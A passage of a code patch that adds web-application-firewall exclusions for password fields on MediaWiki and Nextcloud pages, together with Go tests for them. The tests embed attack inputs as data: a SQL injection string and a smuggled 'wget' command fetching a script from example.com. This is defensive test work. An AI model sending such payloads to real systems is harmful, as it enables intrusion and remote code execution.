ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
|
||||
|
||||
# Other apps use the names password and retype too, and these exclusions apply
|
||||
# in front of every app. So these two fields skip the same rules only on the
|
||||
# pages that take them:
|
||||
# password, retype: changing the password at Special:ChangeCredentials
|
||||
# retype: signing up at Special:CreateAccount
|
||||
# retype: setting the new password after a reset at Special:UserLogin
|
||||
# The path names the page, or the path is /index.php and title names it. A title
|
||||
# on any other path does not count, so another app's paths under /index.php/
|
||||
# keep every rule.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:ChangeCredentials(?:/|$)" \
|
||||
"id:900919,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:ChangeCredentials(?:/|$)" "chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:(?:CreateAccount|UserLogin)(?:/|$)" \
|
||||
"id:900920,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:(?:CreateAccount|UserLogin)(?:/|$)" "chain"
|
||||
SecRule &ARGS_GET:retype "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:retype"
|
||||
|
||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||
|
||||
@@ -3,6 +3,7 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -24,6 +25,12 @@ const mediawikiUpload = "/wiki/Special:Upload"
|
||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||
|
||||
// mediawikiAccountChange is the page that changes a password.
|
||||
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
|
||||
|
||||
// mediawikiSignUp is the page that creates an account.
|
||||
const mediawikiSignUp = "/wiki/Special:CreateAccount"
|
||||
|
||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||
|
||||
@@ -42,16 +49,10 @@ const (
|
||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||
)
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||
// each in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiQueryFields = []string{
|
||||
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
||||
// each in a form data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiBodyFields = []mediawikiBodyField{
|
||||
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiUpload, "wpUploadDescription="},
|
||||
{mediawikiUpload, "wpDestFile="},
|
||||
{mediawikiSignIn, "wpName="},
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{mediawikiMove, "wpOldTitle="},
|
||||
{mediawikiMove, "wpNewTitleMain="},
|
||||
{mediawikiMove, "wpReason="},
|
||||
{mediawikiBlock, "wpTarget="},
|
||||
{mediawikiSignInPage, "wpName="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiUploadPage, "wpDestFile="},
|
||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||
{mediawikiAPI, "title="},
|
||||
@@ -165,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiAPI, "reason="},
|
||||
{mediawikiAPI, "user="},
|
||||
{mediawikiAPI, "lgname="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "username="},
|
||||
}
|
||||
|
||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||
// form data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, passwordField},
|
||||
}
|
||||
|
||||
@@ -233,6 +242,77 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The form that changes a password posts to this subpage.
|
||||
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
|
||||
|
||||
change := []string{passwordKey, retypeKey}
|
||||
retype := []string{retypeKey}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{mediawikiSignUp, formData, retype},
|
||||
{"/index.php/Special:CreateAccount", formData, retype},
|
||||
{"/index.php?title=Special:CreateAccount&returnto=Main_Page", formData, retype},
|
||||
{"/wiki/Special:UserLogin", formData, retype},
|
||||
{mediawikiSignIn, formData, retype},
|
||||
{mediawikiAccountChange, formData, change},
|
||||
{mediawikiAccountChange + subpage, formData, change},
|
||||
{"/index.php/Special:ChangeCredentials", formData, change},
|
||||
{"/index.php?title=Special:ChangeCredentials" + subpage, formData, change},
|
||||
{"/w/index.php?title=Special:ChangeCredentials", formData, change},
|
||||
{mediawikiAPI, formData, retype},
|
||||
})
|
||||
}
|
||||
|
||||
// Other apps use the names password and retype too. So these fields keep every
|
||||
// rule on any page that does not take them, whatever title the query names.
|
||||
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const appPath = "/index.php/apps/mail/api/accounts"
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, name string }{
|
||||
{appPath, passwordKey},
|
||||
{appPath, retypeKey},
|
||||
{appPath + "?title=Special:ChangeCredentials", passwordKey},
|
||||
{appPath + "?title=Special:CreateAccount", retypeKey},
|
||||
{"/index.php?title=Main_Page", passwordKey},
|
||||
{"/index.php/Main_Page", retypeKey},
|
||||
{"/wiki/Main_Page", passwordKey},
|
||||
{"/wiki/Special:ChangeCredentialsExample", passwordKey},
|
||||
{mediawikiSignUp, passwordKey},
|
||||
{"/index.php?title=Special:CreateAccount", passwordKey},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
body := formBody(sent.name, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mediawikiPasswordFields {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||
// fields that skip the other command rules, as a query value.
|
||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
@@ -253,7 +333,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||
mediawikiPasswordFields) {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
@@ -311,8 +392,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiPasswordFields)
|
||||
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
@@ -61,6 +61,141 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The password, in the body, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900125,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:password "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||
|
||||
# The other passwords, in form data or JSON, skip the same rules:
|
||||
# password: confirming the password, resetting it, checking a sign-in with
|
||||
# person/check, a public share's password, setting a share's password or
|
||||
# sending it by email, creating or editing a user, and an administrator
|
||||
# changing a user's password
|
||||
# oldpassword, newpassword: changing the password on the settings page
|
||||
# oldPassword, newPassword: changing an expired LDAP password, and changing
|
||||
# the password of the encryption app's private key or recovery key
|
||||
# recoveryPassword: an administrator changing the password of an encrypted
|
||||
# account, or setting the encryption app's recovery key
|
||||
# confirmPassword: the encryption app's recovery key, typed again
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
|
||||
"id:900126,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
|
||||
|
||||
# Editing a user through the OCS API can name the password as the field to
|
||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||
# sends key once, so a second key cannot skip these rules for another field.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||
"id:900127,phase:2,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
|
||||
